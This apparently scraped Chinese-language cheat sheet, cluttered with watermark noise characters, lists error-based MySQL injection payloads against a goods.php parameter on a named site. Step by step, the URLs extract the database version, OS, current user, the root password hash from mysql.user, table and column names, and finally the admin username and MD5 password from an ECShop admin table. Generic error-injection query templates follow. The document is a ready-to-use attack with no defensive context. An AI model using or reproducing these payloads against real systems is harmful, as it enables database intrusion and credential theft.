判断版本号 1 r. q5 J# P; F m! H3 t. i' _2 t
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
4 e' u) [6 U! X+ j& {5 i
4 e+ i, G, `# m) u判断系统8 Z2 L" _% b4 u$ z" L* X
' |$ @* D7 \4 q: w a& m3 Thttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version_compile_os%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23; \2 O, [) T1 }, O7 ~
8 r6 Q8 Q$ R) \4 m" m7 |/ |6 d {- m; @! k* L
, e' l2 S. ]% n6 d! T8 q: i( A/ e
当前 user()
/ [" ]% L# k! I/ w
* v" }; u# J1 f+ S, F% k: d3 chttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20user()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%239 @( I- Z5 S" {1 V* H( j) U( c
7 P- [* T5 t5 D+ W
: X" y2 P" c! o9 ]
2 ^5 t/ X: _6 A+ \# i( m当前 database()+ S( t3 C4 z4 I0 R( C7 o
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20database()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23: B1 \6 W* T/ q
& G* b& ^5 y* U) V5 c* T
/ y# @, w# U$ N3 e4 v! e2 T
7 W) F5 r) I4 o+ R3 f7 ~: H: f
( I' E; d( V% n7 ?: O: P, ]+ Rroot hash' m: R6 @4 X. \2 I; i( Z
# x8 b2 o# w- ]2 S
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20Password%20from%20mysql.user%20where%20User=char(114,111,111,116)),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
9 p, L8 G _+ K* V6 L9 U+ v& h- A- J; }4 |" U' I! I
+ d) m/ k, I8 g% B" t/ ]6 i$ v' w7 h& Z) S1 b; {
当前 数据库表名* b/ n7 b4 R0 n" g5 a) `
& t7 N: j' Z/ S8 U* m& Phttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20TABLE_NAME%20%20from%20information_schema.tables%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20limit%206,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%239 E8 M4 {) F/ s- a! l; v1 |2 Q
/ z( M) U- _3 P0 W6 I
8 `3 y, j' l3 ?, W: ^
# a5 n$ A3 j- G" f' r6 q/ Y3 q当前 数据库 user_name 字段
2 e1 J* M: B8 I1 _- S! C2 r% X- p4 f: c
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%202,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
' `4 j: r3 E; ]# ^5 M# Q8 A( [) z/ R' z0 a" y* } J o
当前 数据库 字段 password
' p" {1 x/ u. [' _. _) qhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%204,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23. l2 W; w/ m) ~# n3 o* X, a. L
. I" @! I& J% a, {# a) w9 Q
2 z c6 t4 @. Z5 K8 }. n( X& N. y7 m* U& B! Q* n$ x0 ]% G& X
获得 admin passwd(md5)9 K3 ?# x. N. C T
* I" g5 _& r8 D2 Y7 x& ^
- J- ?1 \' S5 R8 B4 K) n( Vhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20concat_ws(char(94),ifnull(cast(%60password%60%20as%20char),char(32)),ifnull(cast(%60user_name%60%20as%20char),char(32)))%20%20from%20sansan1.ecs_admin_user%20limit%200,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
- c, l- }* ^( E" G! T% p6 q M1 v# L* Z! d" h n
报错注射5 m. @" c- X% r! {9 S
SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select version()) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)
; ~& C# }# q6 U5 M# h0 n* Y9 d
# N" t8 T: b7 K. zSELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select username FROM admin_table LIMIT 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)
p0 p2 j% h0 Y- k8 z' l- S
# s! j- o5 T9 [ D& G, iand(select 1 from(select count(*),concat((select (select (Select concat(0x7e,0x27,SCHEMA_NAME,0x27,0x7e) FROM information_schema.SCHEMATA LIMIT 21,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) |